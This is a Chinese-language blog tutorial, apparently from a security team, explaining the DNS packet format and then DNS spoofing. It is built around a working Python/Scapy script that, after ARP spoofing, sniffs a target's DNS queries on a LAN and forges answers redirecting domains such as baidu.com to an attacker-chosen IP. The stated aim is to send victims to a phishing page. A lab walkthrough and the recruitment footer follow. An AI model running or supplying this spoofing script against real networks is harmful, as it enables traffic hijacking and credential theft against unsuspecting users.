DNS
????DNS即域名系統(英文:Domain Name System,縮寫:DNS)是互聯網的一項服務,它作為將域名和IP地址相互映射的一個分布式資料庫,能夠使人更方便地訪問互聯網,DNS使用TCP和UDP埠53,當前,對于每一級域名長度的限制是63個字符,域名總長度則不能超過253個字符
DNS協議
????DNS協議即域名決議協議,是用來將域名轉換為IP地址,
DNS協議報文格式
????會話標識:是DNS報文的ID標識,對于請求報文和其對應的應答報文,這個欄位是相同的,通過它可以區分DNS應答報文是哪個請求的回應
標志:
| QR(1bit) | 查詢/回應標志,0為查詢,1為回應 |
|---|---|
| opcode(4bit) | 0表示標準查詢,1表示反向查詢,2表示服務器狀態請求 |
| AA(1bit) | 表示授權回答 |
| TC(1bit) | 表示可截斷的 |
| RD(1bit) | 表示期望遞回 |
| RA(1bit) | 表示可用遞回 |
| rcode(4bit) | 表示回傳碼,0表示沒有差錯,3表示名字差錯,2表示服務器錯誤(Server Failure) |
????數量欄位:Questions、Answer RRs、Authority RRs、Additional RRs 各自表示后面的四個區域的數目,Questions表示查詢問題區域節的數量,Answers表示回答區域的數量,Authoritative namesversers表示授權區域的數量,Additional recoreds表示附加區域的數量
DNS欺騙原理
????冒充域名服務器,或者修改dns回應包中的決議結果換成攻擊者的IP地址,這樣的話,就會指向攻擊者ip地址,如果我們寫成一個釣魚頁面放入apache或者nignx上部署,我們可以修改指向釣魚網頁服務器的ip和埠,進行欺騙釣魚
DNS欺騙實作
????首先欺騙者向目標機器發送構造好的ARP應答資料包,ARP欺騙成功后,監聽53埠的dns資料包,篩選目標ip地址的dns資料包,獲取請求報文,洗掉部分引數,修改資料包中的源ip和目標ip,源埠和目標埠,構造回應報文,修改anwser包中的決議結果,換成攻擊地址,發送給被攻擊者
代碼實作
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : DNS_attack.py
# @Author: Feng
# @Date : 2020/11/18
# @Desc : trace
from scapy.all import *
import sys
# dns包 = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id標識 匹配請求與回應 qr 0表示查詢報文 opcode 0表示標準查詢 rd 1表示遞回
def DNS_Spoof(data):
try:
# ip_fields = data.getlayer(IP).fields
# udp_fields = data.getlayer(UDP).fields
# dns_fields = data.getlayer(DNS).fields
#print(ip_fields)
#print(udp_fields)
# print(dns_fields)
req_domain = data[DNS].qd.qname
print(str(req_domain).split("'")[1])
print(str(data[IP].src))
print(str(data[IP].src) == '192.168.31.135')
print(str(req_domain) == 'www.baidu.com')
if str(data[IP].src) == '192.168.31.135':
#if str(req_domain).split("'")[1].find('baidu.com'):
print(str(req_domain))
del (data[UDP].len)
del (data[UDP].chksum)
del (data[IP].len)
del (data[IP].chksum)
res = data.copy()
res.FCfield = 2
res.src, res.dst = data.dst, data.src
res[IP].src, res[IP].dst = data[IP].dst, data[IP].src
res.sport, res.dport = data.dport, data.sport
res[DNS].qr = 1
res[DNS].ra = 1
res[DNS].ancount = 1
res[DNS].an = DNSRR(
rrname = req_domain,
type = 'A',
rclass = 'IN',
ttl = 900,
rdata = '220.220.220.220'
)
sendp(res)
else:
print('不是目標主機')
except Exception as e:
print(e)
def DNS_S(iface):
sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
if __name__ == '__main__':
DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC')
????以www.baidu.com決議為例,構造dns回應包,dns包 = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id標識 匹配請求與回應 qr 0表示查詢報文 opcode 0表示標準查詢 rd 1表示遞回,做一些篩選條件判斷,用wireshark監聽結果
????iface引數:指的是自己的無線網卡的name,目標機器是192.168.31.135,本機192.168.31.225,網關192.168.31.1,決議結果改為220.220.220.220首先run一下之前寫的arp腳本,進行arp欺騙攻擊

????然后進行dns欺騙攻擊

????匹配到baidu的結果,列印出來,wireshark中也抓取了icmp的ping包,由于arp攻擊造成被攻擊者流量無回應,后期可以用流量轉發把流量包在轉給目標主機形成一個回圈
????展示一下攻擊的結果,百度被決議成了設定的結果

????ERRORS團隊源于網路空間安全的興趣愛好者共同組建,致力于從網路安全的各個層面維護國家網路空間安全,團隊成員擁有專業的滲透測驗技術、安全評估能力、逆向分析技巧以及豐富的專案經驗和實戰經驗,該團隊是一支年輕的有生命力的團隊,旨在通過知識分享、技術探討提升網路安全意識和專業技能,
加入我們:
ERRORS團隊主頁: ?https://www.chihou.pro/
盒子團隊申請:??????https://www.vulbox.com/team/ERRORS
或者郵件聯系:??????chihou.pro@gmail.com
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/225298.html
標籤:其他
